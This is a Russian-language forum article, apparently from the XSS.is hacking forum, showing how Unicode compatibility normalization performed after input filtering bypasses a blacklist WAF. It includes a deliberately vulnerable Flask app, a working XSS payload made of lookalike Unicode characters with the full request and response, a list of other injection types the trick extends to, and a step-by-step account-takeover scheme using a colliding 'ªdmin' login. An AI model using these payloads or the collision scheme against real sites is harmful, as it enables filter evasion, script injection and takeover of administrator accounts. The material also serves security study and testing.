• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Используем особенности Юникода для обхода WAF

BlackHawk

SEO expert
Забанен
Регистрация
05.03.2019
Сообщения
126
Реакции
180
Пожалуйста, обратите внимание, что пользователь заблокирован
Используем особенности Юникода для обхода WAF

Unicode Compatibility - это форма эквивалентности Юникода, которая гарантирует, что между символами или последовательностями символов, которые могут иметь различный внешний вид или поведение, представлен один и тот же абстрактный символ.
Например, римским цифрам соответствуют собственные символы Юникода, но они также могут быть представлены символами латинского алфавита I, V, M и так далее. При использовании совместимости, специальные символы римских цифр будут преобразованы в их эквиваленты с использованием символов латинского алфавита.
Такое поведение может открыть дверь для злоупотребления некоторыми слабыми реализациями, которые выполняют совместимость с юникодом после очистки входных данных.
Формы нормализации Юникода
Существует четыре стандартных формы нормализации:
  • NFC (Normalization Form Canonical Composition): форма нормализации канонической композицией
  • NFD (Normalization Form Canonical Decomposition): форма нормализации канонической декомпозицией
  • NFKC (Normalization Form Compatibility Composition): форма нормализации совместимой композицией
  • NFKD (Normalization Form Compatibility Decomposition): форма нормализации совместимой декомпозицией
Более подробно читайте в статье "Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов" - https://telegra.ph/Hitrosti-Unicode...-pri-limite-vvoda-dlinnoj-v-20-simvolov-12-01
6d8056c07d4312068edbc.png

NFKC и NFKD интересны тем, что выполняют вышеназванное преобразование символов в их эквиваленты. Проверить, как работают четыре формы нормализации, можно используя следующий фрагмент кода:
Код:
import unicodedata
string = "?ⅇ??ⅈ????"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))

Вывод:
Код:
NFC: ?ⅇ??ⅈ????
NFD: ?ⅇ??ⅈ????
NFKC: Leonishan
NFKD: Leonishan

Доказательство концепции
Чтобы продемонстрировать то, как можно обойти WAF при помощи Unicode, я развернул простое веб-приложение, отображающее имя пользователя, заданное параметром GET, если WAF не обнаруживает какой-то странный символ.
  • server.py
Код:
from flask import Flask, abort, request
import unicodedata
from waf import waf

app = Flask(__name__)


@app.route('/')
def Welcome_name():
name = request.args.get('name')


if waf(name):
abort(403, description="XSS Detected")
else:
name = unicodedata.normalize('NFKD', name)
return 'Test XSS: ' + name

if __name__ == '__main__':
app.run(port=81)

  • waf.py
Код:
def waf(input):
print(input)
blacklist = ["~","!","@","#","$","%","^","&","*","(",")","_","_","+","=","{","}","]","[","|","\",",".","/","?",";",":",""",""","<",">"]
vuln_detected = False
if any(string in input for string in blacklist):
vuln_detected = True
return vuln_detected

Давайте проверим работу WAF на основе простого пэйлоада
Код:
<img src=p onerror='prompt(1)'>
  • Запрос:
Код:
GET /?name=%3Cimg%20src=p%20onerror=%27prompt(1)%27%3E

  • Ответ:
Код:
HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.8.1
Date: Wed, 19 Feb 2020 11:11:58 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>XSS Detected</p>

WAF успешно заблокировал запрос, потому что обнаружил в нем запрещенные символы.
Строка кода
Код:
name = unicodedata.normalize('NFKD', name)

Идет уже после того, как WAF проанализирует входные данные. Следовательно, если мы отправим следующую полезную нагрузку:
Код:
<img src⁼p onerror⁼'prompt⁽1⁾'﹥

WAF не обнаружит в ней ничего запрещенного, так как таких символов в черном списке у него нет (лишь их эквиваленты). А после - строка нормализуется, превратится в <img src=p onerror='prompt(1)'> и отобразится на странице.
  • Запрос:
Код:
GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5

  • Ответ:
Код:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41

Test XSS:
Код:
<img src=p onerror='prompt(1)'>

335510b32605a960e0183.png

Как найти эквивалентные символы
Чтобы найти полный список символов, имеющих одинаковое значение после совместимости с юникодом, можно использовать этот удивительный ресурс:
Можно найти символ и ниже - его эквивалент. Например, вот символ < - https://www.compart.com/en/unicode/U+003C и символы на его основе:
af66bc6678c88abe28d87.png

  • ≮ - < (U + 003C) - ◌̸ (U + 0338)
  • ﹤ - < (U+003C)
  • < - < (U+003C)
В данном случае символ ≮ не подходит, потому что он, в свою очередь, вводит символ ◌̸ (U + 0338) и сломает наш пэйлоад.
Эксплуатация других уязвимостей
Тонны пользовательских полезных нагрузок могут быть созданы при выполнении нормализации, я дам несколько идей:
  • Path Traversal
77325044b04e4cafe8650.png

  • SQL Injection
daf3b8c20a848cb8ef604.png

  • Server Side Request Forgery (SSRF)
54c61cb58dd4c55aa3868.png

  • Open Redirect
e0da83b29fc1e40a86287.png

  • XSS
f80059376559d13fc3a7c.png

  • Template Injection
2fc7af88aa3f745c0c2f2.png

  • OS Command Injection
af486cc018563c1fa897b.png

  • Arbitrary file upload
7597e3fadd7371f5b91fe.png

  • Business logic
Можно попробовать поиграть с коллизиями и зарегистрировать уже существующего пользователя, тем самым сменив его пароль (ну или допустить возможность использования сразу двух паролей для одного пользователя). Возможно, как и в примере с WAF, нормализация выполняется на последнем этапе, перед внесением информации в базу данных. А, возможно, в базу внесется текст с коллизией, а на этапе авторизации произойдет нормализация и вход выполнится от имени настоящего администратора.
  • 1. Регистрируем пользователя с логином ªdmin. Такого логина нет в БД, регистрация проходит успешно.
  • 2. Пытаемся авторизоваться с логином ªdmin. Бэкэнд выполняет нормализацию и выдает результаты настоящего админа.
  • 3. Поглощение аккаунта.
adef1cbbe12878a118b2f.png

Обнаружение
Для того, чтобы обнаружить наличие совместимости с юникодом, необходимо в значение какого - либо параметра подставить полезную нагрузку, содержающую эквивалентные символы из другого алфавита, и посмотреть на ответ.
Отправка ?ⅇ??ⅈ????, закодированной в URL - %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83 - дает следующий ответ:
Код:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 19

Test XSS: Leonishan

Совместимость с Юникодом выполняется ✅
А если ответ будет таким:
Код:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 44

Test XSS: ðâð¤ðâð°ð¥ðð

Совместимость с Юникодом не выполняется ❌
Примечание. Если вы ищете баги, используя Burp, полезная нагрузка должна быть предварительно закодирована в виде URL. Редактор Burp неправильно обрабатывает многобайтовые символы.

Статья доступна в оригинале на английском языке - читать.

Взято с Cybred - канал об информационной безопасности и конкурентной разведке, вдохновленный идеями олдскульных андеграундных интернет-сообществ о свободе распространения информации в сети и всеобщей взаимопомощи.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх